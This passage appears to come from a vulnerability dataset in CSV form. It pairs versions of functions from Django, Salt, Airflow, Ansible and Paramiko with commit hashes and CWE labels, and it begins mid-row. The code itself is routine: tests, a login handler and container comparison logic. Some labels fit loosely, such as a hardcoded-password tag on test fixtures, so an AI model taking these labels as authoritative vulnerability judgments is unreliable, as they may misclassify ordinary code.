        total_forms = '<input id=""id_binarytree_set-TOTAL_FORMS"" name=""binarytree_set-TOTAL_FORMS"" type=""hidden"" value=""%d"" />'

        request = self.factory.get('/admin/admin_inlines/binarytree/add/')
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request)
        self.assertContains(response, min_forms % 2)
        self.assertContains(response, total_forms % 5)

        request = self.factory.get(""/admin/admin_inlines/binarytree/%d/"" % bt_head.id)
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(bt_head.id))
        self.assertContains(response, min_forms % 5)
        self.assertContains(response, total_forms % 8)",CWE-Unknown,django/django,79f15ab1ef964c0209c4484ccf62ba458fd582b3,"def test_custom_min_num(self):
        """"""
        Ensure that get_min_num is called and used correctly.
        See #22628 - this will change when that's fixed.
        """"""
        bt_head = BinaryTree.objects.create(name=""Tree Head"")
        BinaryTree.objects.create(name=""First Child"", parent=bt_head)

        class MinNumInline(TabularInline):
            model = BinaryTree
            extra = 3

            def get_min_num(self, request, obj=None, **kwargs):
                if obj:
                    return 5
                return 2

        modeladmin = ModelAdmin(BinaryTree, admin_site)
        modeladmin.inlines = [MinNumInline]

        min_forms = '<input id=""id_binarytree_set-MIN_NUM_FORMS"" name=""binarytree_set-MIN_NUM_FORMS"" type=""hidden"" value=""%d"" />'
        total_forms = '<input id=""id_binarytree_set-TOTAL_FORMS"" name=""binarytree_set-TOTAL_FORMS"" type=""hidden"" value=""%d"" />'

        request = self.factory.get('/admin/admin_inlines/binarytree/add/')
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request)
        self.assertContains(response, min_forms % 2)
        self.assertContains(response, total_forms % 5)

        request = self.factory.get(""/admin/admin_inlines/binarytree/%d/"" % bt_head.id)
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(bt_head.id))
        self.assertContains(response, min_forms % 5)
        self.assertContains(response, total_forms % 9)"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(
            username=""super"", password=""secret"", email=""super@example.com""
        )
        cls.s1 = Section.objects.create(name=""Test section"")
        cls.a1 = Article.objects.create(
            content=""<p>Middle content</p>"",
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a2 = Article.objects.create(
            content=""<p>Oldest content</p>"",
            date=datetime.datetime(2000, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a3 = Article.objects.create(
            content=""<p>Newest content</p>"",
            date=datetime.datetime(2009, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.p1 = PrePopulatedPost.objects.create(
            title=""A Long Title"", published=True, slug=""a-long-title""
        )
        cls.pk = (
            ""abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 ""
            r""""""-_.!~*'() ;/?:@&=+$, <>#%"" {}|\^[]`""""""
        )
        cls.m1 = ModelWithStringPrimaryKey.objects.create(string_pk=cls.pk)
        user_pk = cls.superuser.pk
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            2,
            change_message=""Changed something"",
            single_object=True,
        )
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            1,
            change_message=""Added something"",
            single_object=True,
        )
        LogEntry.objects.log_actions(
            user_pk,
            [cls.m1],
            3,
            change_message=""Deleted something"",
            single_object=True,
        )",CWE-259,django/django,40b3975e7d3e1464a733c69171ad7d38f8814280,"def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(
            username=""super"", password=""secret"", email=""super@example.com""
        )
        cls.s1 = Section.objects.create(name=""Test section"")
        cls.a1 = Article.objects.create(
            content=""<p>Middle content</p>"",
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a2 = Article.objects.create(
            content=""<p>Oldest content</p>"",
            date=datetime.datetime(2000, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.a3 = Article.objects.create(
            content=""<p>Newest content</p>"",
            date=datetime.datetime(2009, 3, 18, 11, 54, 58),
            section=cls.s1,
        )
        cls.p1 = PrePopulatedPost.objects.create(
            title=""A Long Title"", published=True, slug=""a-long-title""
        )
        cls.pk = (
            ""abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 ""
            r""""""-_.!~*'() ;/?:@&=+$, <>#%"" {}|\^[]`""""""
        )
        cls.m1 = ModelWithStringPrimaryKey.objects.create(string_pk=cls.pk)
        content_type_pk = ContentType.objects.get_for_model(
            ModelWithStringPrimaryKey
        ).pk
        user_pk = cls.superuser.pk
        LogEntry.objects.log_action(
            user_pk,
            content_type_pk,
            cls.pk,
            cls.pk,
            2,
            change_message=""Changed something"",
        )
        LogEntry.objects.log_action(
            user_pk,
            content_type_pk,
            cls.pk,
            cls.pk,
            1,
            change_message=""Added something"",
        )
        LogEntry.objects.log_action(
            user_pk,
            content_type_pk,
            cls.pk,
            cls.pk,
            3,
            change_message=""Deleted something"",
        )"
,UNKNOWN,UNKNOWN,saltapi/netapi/rest_cherrypy/app.py,1,"def POST(self, **kwargs):
        '''
        Authenticate against Salt's eauth system

        .. versionchanged:: 0.8.0
            No longer returns a 302 redirect on success.

        .. versionchanged:: 0.8.1
            Returns 401 on authentication failure

        .. http:post:: /login

            **Example request**::

                % curl -si localhost:8000/login \\
                        -H ""Accept: application/json"" \\
                        -d username='saltuser' \\
                        -d password='saltpass' \\
                        -d eauth='pam'

            .. code-block:: http

                POST / HTTP/1.1
                Host: localhost:8000
                Content-Length: 42
                Content-Type: application/x-www-form-urlencoded
                Accept: application/json

                username=saltuser&password=saltpass&eauth=pam

            **Example response**:

            .. code-block:: http

                HTTP/1.1 200 OK
                Content-Type: application/json
                Content-Length: 206
                X-Auth-Token: 6d1b722e
                Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

                {""return"": {
                    ""token"": ""6d1b722e"",
                    ""start"": 1363805943.776223,
                    ""expire"": 1363849143.776224,
                    ""user"": ""saltuser"",
                    ""eauth"": ""pam"",
                    ""perms"": [
                        ""grains.*"",
                        ""status.*"",
                        ""sys.*"",
                        ""test.*""
                    ]
                }}

        :form eauth: the eauth backend configured in your master config
        :form username: username
        :form password: password
        :status 200: success
        :status 401: could not authenticate using provided credentials
        :status 406: requested Content-Type not available
        '''
        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        token = self.auth.mk_token(creds)
        if not 'token' in token:
            raise cherrypy.HTTPError(401,
                    'Could not authenticate using provided credentials')

        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        if token['name'] in self.opts['external_auth'][token['eauth']]:
            perms = self.opts['external_auth'][token['eauth']][token['name']]
        else:
            perms = self.opts['external_auth'][token['eauth']]['*']

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }]}",CWE-259,saltstack/salt,a9389ab59d58b39104b0fe619c9578ee17b45fc4,"def POST(self, **kwargs):
        '''
        Authenticate against Salt's eauth system

        .. versionchanged:: 0.8.0
            No longer returns a 302 redirect on success.
        
        .. versionchanged:: 0.8.1
            Returns 401 on authentication failure

        .. http:post:: /login

            **Example request**::

                % curl -si localhost:8000/login \\
                        -H ""Accept: application/json"" \\
                        -d username='saltuser' \\
                        -d password='saltpass' \\
                        -d eauth='pam'

            .. code-block:: http

                POST / HTTP/1.1
                Host: localhost:8000
                Content-Length: 42
                Content-Type: application/x-www-form-urlencoded
                Accept: application/json

                username=saltuser&password=saltpass&eauth=pam

            **Example response**:

            .. code-block:: http

                HTTP/1.1 200 OK
                Content-Type: application/json
                Content-Length: 206
                X-Auth-Token: 6d1b722e
                Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

                {""return"": {
                    ""token"": ""6d1b722e"",
                    ""start"": 1363805943.776223,
                    ""expire"": 1363849143.776224,
                    ""user"": ""saltuser"",
                    ""eauth"": ""pam"",
                    ""perms"": [
                        ""grains.*"",
                        ""status.*"",
                        ""sys.*"",
                        ""test.*""
                    ]
                }}

        :form eauth: the eauth backend configured in your master config
        :form username: username
        :form password: password
        :status 200: success
        :status 401: could not authenticate using provided credentials
        :status 406: requested Content-Type not available
        '''
        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        token = self.auth.mk_token(creds)
        if not 'token' in token:
            raise cherrypy.HTTPError(401, 'Could not authenticate using provided credentials')
            
        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        perms = self.opts['external_auth'][token['eauth']][token['name']] if token['name'] in self.opts['external_auth'][token['eauth']] else self.opts['external_auth'][token['eauth']]['*'] 

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }]}"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/execution_time/test_supervisor.py,1,"def test_exit_by_signal(self, monkeypatch, signal_to_raise, log_pattern, cap_structlog):
        def subprocess_main():
            import faulthandler
            import os

            # Disable pytest fault handler
            if faulthandler.is_enabled():
                faulthandler.disable()

            # Ensure we follow the ""protocol"" and get the startup message before we do anything
            sys.stdin.readline()

            os.kill(os.getpid(), signal_to_raise)

        proc = ActivitySubprocess.start(
            dag_rel_path=os.devnull,
            bundle_info=FAKE_BUNDLE,
            what=TaskInstance(
                id=""4d828a62-a417-4936-a7a6-2b3fabacecab"",
                task_id=""b"",
                dag_id=""c"",
                run_id=""d"",
                try_number=1,
            ),
            client=MagicMock(spec=sdk_client.Client),
            target=subprocess_main,
        )

        rc = proc.wait()

        assert {
            ""log_level"": ""critical"",
            ""event"": log_pattern,
        } in cap_structlog
        assert rc == -signal_to_raise",CWE-703,apache/airflow,d34c1f5c5c9464946aeb1bd69c8484e73003c46a,"def test_exit_by_signal(self, monkeypatch, signal_to_raise, log_pattern, cap_structlog):
        def subprocess_main():
            import faulthandler
            import os

            # Disable pytest fault handler
            if faulthandler.is_enabled():
                faulthandler.disable()

            # Ensure we follow the ""protocol"" and get the startup message before we do anything
            sys.stdin.readline()

            os.kill(os.getpid(), signal_to_raise)

        proc = ActivitySubprocess.start(
            dag_rel_path=os.devnull,
            bundle_info=FAKE_BUNDLE,
            what=TaskInstance(
                id=""4d828a62-a417-4936-a7a6-2b3fabacecab"",
                task_id=""b"",
                dag_id=""c"",
                run_id=""d"",
                try_number=1,
            ),
            client=MagicMock(spec=sdk_client.Client),
            target=subprocess_main,
        )

        rc = proc.wait()

        assert {
            ""log_level"": ""critical"",
            ""event"": log_pattern,
        } in cap_structlog
        assert rc == -signal_to_raise"
,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/docker/docker.py,1,"def get_differing_containers(self):
        """"""
        Inspect all matching, running containers, and return those that were
        started with parameters that differ from the ones that are provided
        during this module run. A list containing the differing
        containers will be returned, and a short string describing the specific
        difference encountered in each container will be appended to
        reload_reasons.

        This generates the set of containers that need to be stopped and
        started with new parameters with state=reloaded.
        """"""

        running = self.get_running_containers()
        current = self.get_inspect_containers(running)

        #Get API version
        api_version = self.client.version()['ApiVersion']

        image = self.get_inspect_image()
        if image is None:
            # The image isn't present. Assume that we're about to pull a new
            # tag and *everything* will be restarted.
            #
            # This will give false positives if you untag an image on the host
            # and there's nothing more to pull.
            return current

        differing = []

        for container in current:

            # IMAGE
            # Compare the image by ID rather than name, so that containers
            # will be restarted when new versions of an existing image are
            # pulled.
            if container['Image'] != image['Id']:
                self.reload_reasons.append('image ({0} => {1})'.format(container['Image'], image['Id']))
                differing.append(container)
                continue

            # COMMAND

            expected_command = self.module.params.get('command')
            if expected_command:
                expected_command = shlex.split(expected_command)
                actual_command = container[""Config""][""Cmd""]

                if actual_command != expected_command:
                    self.reload_reasons.append('command ({0} => {1})'.format(actual_command, expected_command))
                    differing.append(container)
                    continue

            # EXPOSED PORTS
            expected_exposed_ports = set((image['ContainerConfig']['ExposedPorts'] or {}).keys())
            for p in (self.exposed_ports or []):
                expected_exposed_ports.add(""/"".join(p))

            actually_exposed_ports = set((container[""Config""][""ExposedPorts""] or {}).keys())

            if actually_exposed_ports != expected_exposed_ports:
                self.reload_reasons.append('exposed_ports ({0} => {1})'.format(actually_exposed_ports, expected_exposed_ports))
                differing.append(container)
                continue

            # VOLUMES

            expected_volume_keys = set((image['ContainerConfig']['Volumes'] or {}).keys())
            if self.volumes:
                expected_volume_keys.update(self.volumes.keys())

            actual_volume_keys = set((container['Config']['Volumes'] or {}).keys())

            if actual_volume_keys != expected_volume_keys:
                self.reload_reasons.append('volumes ({0} => {1})'.format(actual_volume_keys, expected_volume_keys))
                differing.append(container)
                continue

            # MEM_LIMIT

            try:
                expected_mem = _human_to_bytes(self.module.params.get('memory_limit'))
            except ValueError as e:
                self.module.fail_json(msg=str(e))

            #For v1.19 API and above use HostConfig, otherwise use Config
            if api_version >= 1.19:
                actual_mem = container['HostConfig']['Memory']
            else:
                actual_mem = container['Config']['Memory']

            if expected_mem and actual_mem != expected_mem:
                self.reload_reasons.append('memory ({0} => {1})'.format(actual_mem, expected_mem))
                differing.append(container)
                continue

            # ENVIRONMENT
            # actual_env is likely to include environment variables injected by
            # the Dockerfile.

            expected_env = {}

            for image_env in image['ContainerConfig']['Env'] or []:
                name, value = image_env.split('=', 1)
                expected_env[name] = value

            if self.env:
                for name, value in self.env.iteritems():
                    expected_env[name] = str(value)

            actual_env = {}
            for container_env in container['Config']['Env'] or []:
                name, value = container_env.split('=', 1)
                actual_env[name] = value

            if actual_env != expected_env:
                # Don't include the environment difference in the output.
                self.reload_reasons.append('environment {0} => {1}'.format(actual_env, expected_env))
                differing.append(container)
                continue

            # HOSTNAME

            expected_hostname = self.module.params.get('hostname')
            actual_hostname = container['Config']['Hostname']
            if expected_hostname and actual_hostname != expected_hostname:
                self.reload_reasons.append('hostname ({0} => {1})'.format(actual_hostname, expected_hostname))
                differing.append(container)
                continue

            # DOMAINNAME

            expected_domainname = self.module.params.get('domainname')
            actual_domainname = container['Config']['Domainname']
            if expected_domainname and actual_domainname != expected_domainname:
                self.reload_reasons.append('domainname ({0} => {1})'.format(actual_domainname, expected_domainname))
                differing.append(container)
                continue

            # DETACH

            # We don't have to check for undetached containers. If it wasn't
            # detached, it would have stopped before the playbook continued!

            # NAME

            # We also don't have to check name, because this is one of the
            # criteria that's used to determine which container(s) match in
            # the first place.

            # STDIN_OPEN

            expected_stdin_open = self.module.params.get('stdin_open')
            actual_stdin_open = container['Config']['AttachStdin']
            if actual_stdin_open != expected_stdin_open:
                self.reload_reasons.append('stdin_open ({0} => {1})'.format(actual_stdin_open, expected_stdin_open))
                differing.append(container)
                continue

            # TTY

            expected_tty = self.module.params.get('tty')
            actual_tty = container['Config']['Tty']
            if actual_tty != expected_tty:
                self.reload_reasons.append('tty ({0} => {1})'.format(actual_tty, expected_tty))
                differing.append(container)
                continue

            # -- ""start"" call differences --

            # LXC_CONF

            if self.lxc_conf:
                expected_lxc = set(self.lxc_conf)
                actual_lxc = set(container['HostConfig']['LxcConf'] or [])
                if actual_lxc != expected_lxc:
                    self.reload_reasons.append('lxc_conf ({0} => {1})'.format(actual_lxc, expected_lxc))
                    differing.append(container)
                    continue

            # BINDS

            expected_binds = set()
            if self.binds:
                for host_path, config in self.binds.iteritems():
                    if isinstance(config, dict):
                        container_path = config['bind']
                        if config['ro']:
                            mode = 'ro'
                        else:
                            mode = 'rw'
                    else:
                        container_path = config
                        mode = 'rw'
                    expected_binds.add(""{0}:{1}:{2}"".format(host_path, container_path, mode))

            actual_binds = set()
            for bind in (container['HostConfig']['Binds'] or []):
                if len(bind.split(':')) == 2:
                    actual_binds.add(bind + "":rw"")
                else:
                    actual_binds.add(bind)

            if actual_binds != expected_binds:
                self.reload_reasons.append('binds ({0} => {1})'.format(actual_binds, expected_binds))
                differing.append(container)
                continue

            # PORT BINDINGS

            expected_bound_ports = {}
            if self.port_bindings:
                for container_port, config in self.port_bindings.iteritems():
                    if isinstance(container_port, int):
                        container_port = ""{0}/tcp"".format(container_port)
                    if len(config) == 1:
                        expected_bound_ports[container_port] = [{'HostIp': ""0.0.0.0"", 'HostPort': """"}]
                    elif isinstance(config[0], tuple):
                        expected_bound_ports[container_port] = []
                        for hostip, hostport in config:
                            expected_bound_ports[container_port].append({ 'HostIp': hostip, 'HostPort': str(hostport)})
                    else:
                        expected_bound_ports[container_port] = [{'HostIp': config[0], 'HostPort': str(config[1])}]

            actual_bound_ports = container['HostConfig']['PortBindings'] or {}

            if actual_bound_ports != expected_bound_ports:
                self.reload_reasons.append('port bindings ({0} => {1})'.format(actual_bound_ports, expected_bound_ports))
                differing.append(container)
                continue

            # PUBLISHING ALL PORTS

            # What we really care about is the set of ports that is actually
            # published. That should be caught above.

            # PRIVILEGED

            expected_privileged = self.module.params.get('privileged')
            actual_privileged = container['HostConfig']['Privileged']
            if actual_privileged != expected_privileged:
                self.reload_reasons.append('privileged ({0} => {1})'.format(actual_privileged, expected_privileged))
                differing.append(container)
                continue

            # LINKS

            expected_links = set()
            for link, alias in (self.links or {}).iteritems():
                expected_links.add(""/{0}:{1}/{2}"".format(link, container[""Name""], alias))

            actual_links = set(container['HostConfig']['Links'] or [])
            if actual_links != expected_links:
                self.reload_reasons.append('links ({0} => {1})'.format(actual_links, expected_links))
                differing.append(container)
                continue

            # NETWORK MODE

            expected_netmode = self.module.params.get('net') or 'bridge'
            actual_netmode = container['HostConfig']['NetworkMode'] or 'bridge'
            if actual_netmode != expected_netmode:
                self.reload_reasons.append('net ({0} => {1})'.format(actual_netmode, expected_netmode))
                differing.append(container)
                continue

            # DNS

            expected_dns = set(self.module.params.get('dns') or [])
            actual_dns = set(container['HostConfig']['Dns'] or [])
            if actual_dns != expected_dns:
                self.reload_reasons.append('dns ({0} => {1})'.format(actual_dns, expected_dns))
                differing.append(container)
                continue

            # VOLUMES_FROM

            expected_volumes_from = set(self.module.params.get('volumes_from') or [])
            actual_volumes_from = set(container['HostConfig']['VolumesFrom'] or [])
            if actual_volumes_from != expected_volumes_from:
                self.reload_reasons.append('volumes_from ({0} => {1})'.format(actual_volumes_from, expected_volumes_from))
                differing.append(container)

            # LOG_DRIVER

            if self.ensure_capability('log_driver', False) :
                expected_log_driver = self.module.params.get('log_driver') or 'json-file'
                actual_log_driver = container['HostConfig']['LogConfig']['Type']
                if actual_log_driver != expected_log_driver:
                    self.reload_reasons.append('log_driver ({0} => {1})'.format(actual_log_driver, expected_log_driver))
                    differing.append(container)
                    continue

        return differing",CWE-605,ansible/ansible,5f0d9899735962c13c360f01506930b81608b873,"def get_differing_containers(self):
        """"""
        Inspect all matching, running containers, and return those that were
        started with parameters that differ from the ones that are provided
        during this module run. A list containing the differing
        containers will be returned, and a short string describing the specific
        difference encountered in each container will be appended to
        reload_reasons.

        This generates the set of containers that need to be stopped and
        started with new parameters with state=reloaded.
        """"""

        running = self.get_running_containers()
        current = self.get_inspect_containers(running)

        #Get API version
        api_version = self.client.version()['ApiVersion']

        image = self.get_inspect_image()
        if image is None:
            # The image isn't present. Assume that we're about to pull a new
            # tag and *everything* will be restarted.
            #
            # This will give false positives if you untag an image on the host
            # and there's nothing more to pull.
            return current

        differing = []

        for container in current:

            # IMAGE
            # Compare the image by ID rather than name, so that containers
            # will be restarted when new versions of an existing image are
            # pulled.
            if container['Image'] != image['Id']:
                self.reload_reasons.append('image ({0} => {1})'.format(container['Image'], image['Id']))
                differing.append(container)
                continue

            # COMMAND

            expected_command = self.module.params.get('command')
            if expected_command:
                expected_command = shlex.split(expected_command)
                actual_command = container[""Config""][""Cmd""]

                if actual_command != expected_command:
                    self.reload_reasons.append('command ({0} => {1})'.format(actual_command, expected_command))
                    differing.append(container)
                    continue

            # EXPOSED PORTS
            expected_exposed_ports = set((image['ContainerConfig']['ExposedPorts'] or {}).keys())
            for p in (self.exposed_ports or []):
                expected_exposed_ports.add(""/"".join(p))

            actually_exposed_ports = set((container[""Config""][""ExposedPorts""] or {}).keys())

            if actually_exposed_ports != expected_exposed_ports:
                self.reload_reasons.append('exposed_ports ({0} => {1})'.format(actually_exposed_ports, expected_exposed_ports))
                differing.append(container)
                continue

            # VOLUMES

            expected_volume_keys = set((image['ContainerConfig']['Volumes'] or {}).keys())
            if self.volumes:
                expected_volume_keys.update(self.volumes.keys())

            actual_volume_keys = set((container['Config']['Volumes'] or {}).keys())

            if actual_volume_keys != expected_volume_keys:
                self.reload_reasons.append('volumes ({0} => {1})'.format(actual_volume_keys, expected_volume_keys))
                differing.append(container)
                continue

            # MEM_LIMIT

            try:
                expected_mem = _human_to_bytes(self.module.params.get('memory_limit'))
            except ValueError as e:
                self.module.fail_json(msg=str(e))

            #For v1.19 API and above use HostConfig, otherwise use Config
            if docker_api_version >= 1.19:
                actual_mem = container['HostConfig']['Memory']
            else:
                actual_mem = container['Config']['Memory']

            if expected_mem and actual_mem != expected_mem:
                self.reload_reasons.append('memory ({0} => {1})'.format(actual_mem, expected_mem))
                differing.append(container)
                continue

            # ENVIRONMENT
            # actual_env is likely to include environment variables injected by
            # the Dockerfile.

            expected_env = {}

            for image_env in image['ContainerConfig']['Env'] or []:
                name, value = image_env.split('=', 1)
                expected_env[name] = value

            if self.env:
                for name, value in self.env.iteritems():
                    expected_env[name] = str(value)

            actual_env = {}
            for container_env in container['Config']['Env'] or []:
                name, value = container_env.split('=', 1)
                actual_env[name] = value

            if actual_env != expected_env:
                # Don't include the environment difference in the output.
                self.reload_reasons.append('environment {0} => {1}'.format(actual_env, expected_env))
                differing.append(container)
                continue

            # HOSTNAME

            expected_hostname = self.module.params.get('hostname')
            actual_hostname = container['Config']['Hostname']
            if expected_hostname and actual_hostname != expected_hostname:
                self.reload_reasons.append('hostname ({0} => {1})'.format(actual_hostname, expected_hostname))
                differing.append(container)
                continue

            # DOMAINNAME

            expected_domainname = self.module.params.get('domainname')
            actual_domainname = container['Config']['Domainname']
            if expected_domainname and actual_domainname != expected_domainname:
                self.reload_reasons.append('domainname ({0} => {1})'.format(actual_domainname, expected_domainname))
                differing.append(container)
                continue

            # DETACH

            # We don't have to check for undetached containers. If it wasn't
            # detached, it would have stopped before the playbook continued!

            # NAME

            # We also don't have to check name, because this is one of the
            # criteria that's used to determine which container(s) match in
            # the first place.

            # STDIN_OPEN

            expected_stdin_open = self.module.params.get('stdin_open')
            actual_stdin_open = container['Config']['AttachStdin']
            if actual_stdin_open != expected_stdin_open:
                self.reload_reasons.append('stdin_open ({0} => {1})'.format(actual_stdin_open, expected_stdin_open))
                differing.append(container)
                continue

            # TTY

            expected_tty = self.module.params.get('tty')
            actual_tty = container['Config']['Tty']
            if actual_tty != expected_tty:
                self.reload_reasons.append('tty ({0} => {1})'.format(actual_tty, expected_tty))
                differing.append(container)
                continue

            # -- ""start"" call differences --

            # LXC_CONF

            if self.lxc_conf:
                expected_lxc = set(self.lxc_conf)
                actual_lxc = set(container['HostConfig']['LxcConf'] or [])
                if actual_lxc != expected_lxc:
                    self.reload_reasons.append('lxc_conf ({0} => {1})'.format(actual_lxc, expected_lxc))
                    differing.append(container)
                    continue

            # BINDS

            expected_binds = set()
            if self.binds:
                for host_path, config in self.binds.iteritems():
                    if isinstance(config, dict):
                        container_path = config['bind']
                        if config['ro']:
                            mode = 'ro'
                        else:
                            mode = 'rw'
                    else:
                        container_path = config
                        mode = 'rw'
                    expected_binds.add(""{0}:{1}:{2}"".format(host_path, container_path, mode))

            actual_binds = set()
            for bind in (container['HostConfig']['Binds'] or []):
                if len(bind.split(':')) == 2:
                    actual_binds.add(bind + "":rw"")
                else:
                    actual_binds.add(bind)

            if actual_binds != expected_binds:
                self.reload_reasons.append('binds ({0} => {1})'.format(actual_binds, expected_binds))
                differing.append(container)
                continue

            # PORT BINDINGS

            expected_bound_ports = {}
            if self.port_bindings:
                for container_port, config in self.port_bindings.iteritems():
                    if isinstance(container_port, int):
                        container_port = ""{0}/tcp"".format(container_port)
                    if len(config) == 1:
                        expected_bound_ports[container_port] = [{'HostIp': ""0.0.0.0"", 'HostPort': """"}]
                    elif isinstance(config[0], tuple):
                        expected_bound_ports[container_port] = []
                        for hostip, hostport in config:
                            expected_bound_ports[container_port].append({ 'HostIp': hostip, 'HostPort': str(hostport)})
                    else:
                        expected_bound_ports[container_port] = [{'HostIp': config[0], 'HostPort': str(config[1])}]

            actual_bound_ports = container['HostConfig']['PortBindings'] or {}

            if actual_bound_ports != expected_bound_ports:
                self.reload_reasons.append('port bindings ({0} => {1})'.format(actual_bound_ports, expected_bound_ports))
                differing.append(container)
                continue

            # PUBLISHING ALL PORTS

            # What we really care about is the set of ports that is actually
            # published. That should be caught above.

            # PRIVILEGED

            expected_privileged = self.module.params.get('privileged')
            actual_privileged = container['HostConfig']['Privileged']
            if actual_privileged != expected_privileged:
                self.reload_reasons.append('privileged ({0} => {1})'.format(actual_privileged, expected_privileged))
                differing.append(container)
                continue

            # LINKS

            expected_links = set()
            for link, alias in (self.links or {}).iteritems():
                expected_links.add(""/{0}:{1}/{2}"".format(link, container[""Name""], alias))

            actual_links = set(container['HostConfig']['Links'] or [])
            if actual_links != expected_links:
                self.reload_reasons.append('links ({0} => {1})'.format(actual_links, expected_links))
                differing.append(container)
                continue

            # NETWORK MODE

            expected_netmode = self.module.params.get('net') or 'bridge'
            actual_netmode = container['HostConfig']['NetworkMode'] or 'bridge'
            if actual_netmode != expected_netmode:
                self.reload_reasons.append('net ({0} => {1})'.format(actual_netmode, expected_netmode))
                differing.append(container)
                continue

            # DNS

            expected_dns = set(self.module.params.get('dns') or [])
            actual_dns = set(container['HostConfig']['Dns'] or [])
            if actual_dns != expected_dns:
                self.reload_reasons.append('dns ({0} => {1})'.format(actual_dns, expected_dns))
                differing.append(container)
                continue

            # VOLUMES_FROM

            expected_volumes_from = set(self.module.params.get('volumes_from') or [])
            actual_volumes_from = set(container['HostConfig']['VolumesFrom'] or [])
            if actual_volumes_from != expected_volumes_from:
                self.reload_reasons.append('volumes_from ({0} => {1})'.format(actual_volumes_from, expected_volumes_from))
                differing.append(container)

            # LOG_DRIVER

            if self.ensure_capability('log_driver', False) :
                expected_log_driver = self.module.params.get('log_driver') or 'json-file'
                actual_log_driver = container['HostConfig']['LogConfig']['Type']
                if actual_log_driver != expected_log_driver:
                    self.reload_reasons.append('log_driver ({0} => {1})'.format(actual_log_driver, expected_log_driver))
                    differing.append(container)
                    continue

        return differing"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/utils/selective_checks.py,0,"def _full_tests_needed(self) -> bool:
        if self._github_event in [GithubEvents.PUSH, GithubEvents.SCHEDULE, GithubEvents.WORKFLOW_DISPATCH]:
            get_console().print(f""[warning]Full tests needed because event is {self._github_event}[/]"")
            return True
        if FULL_TESTS_NEEDED_LABEL in self._pr_labels:
            get_console().print(
                ""[warning]Full tests needed because ""
                f""label '{FULL_TESTS_NEEDED_LABEL}' is in  {self._pr_labels}[/]""
            )
            return True
        return False",CWE-Unknown,apache/airflow,9a939150c3bb02180e68edcc5ba62f50a0a219f7,"def _full_tests_needed(self) -> bool:
        if self._github_event in [GithubEvents.PUSH, GithubEvents.SCHEDULE, GithubEvents.WORKFLOW_DISPATCH]:
            get_console().print(f""[warning]Full tests needed because event is {self._github_event}[/]"")
            return True
        if FULL_TESTS_NEEDED_LABEL in self._pr_labels:
            get_console().print(f""[warning]Full tests needed because labels are {self._pr_labels}[/]"")
            return True
        return False"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/util.py,0,"def mod_inverse(x, m):
    # it's crazy how small Python can make this function.
    u1, u2, u3 = 1, 0, m
    v1, v2, v3 = 0, 1, x

    while v3 > 0:
        q = u3 // v3
        u1, v1 = v1, u1 - v1 * q
        u2, v2 = v2, u2 - v2 * q
        u3, v3 = v3, u3 - v3 * q
    if u2 < 0:
        u2 += m
    return u2",,paramiko/paramiko,a02c1657dc79e5e25ed0424faa5db66ecda8c4a2,"def mod_inverse(x, m):
    # it's crazy how small Python can make this function.
    u1, u2, u3 = 1, 0, m
    v1, v2, v3 = 0, 1, x

    while v3 > 0:
        q = u3 // v3
        u1, v1 = v1, u1 - v1 * q
        u2, v2 = v2, u2 - v2 * q
        u3, v3 = v3, u3 - v3 * q
    if u2 < 0:
        u2 += m
    return u2"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_utils/tests.py,0,"def test_count(self):
        # equal html contains each other one time
        dom1 = parse_html('<p>foo')
        dom2 = parse_html('<p>foo</p>')
        self.assertEqual(dom1.count(dom2), 1)
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo</p><p>bar</p>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo foo</p><p>foo</p>')
        self.assertEqual(dom2.count('foo'), 3)

        dom2 = parse_html('<p class=""bar"">foo</p>')
        self.assertEqual(dom2.count('bar'), 0)
        self.assertEqual(dom2.count('class'), 0)
        self.assertEqual(dom2.count('p'), 0)
        self.assertEqual(dom2.count('o'), 2)

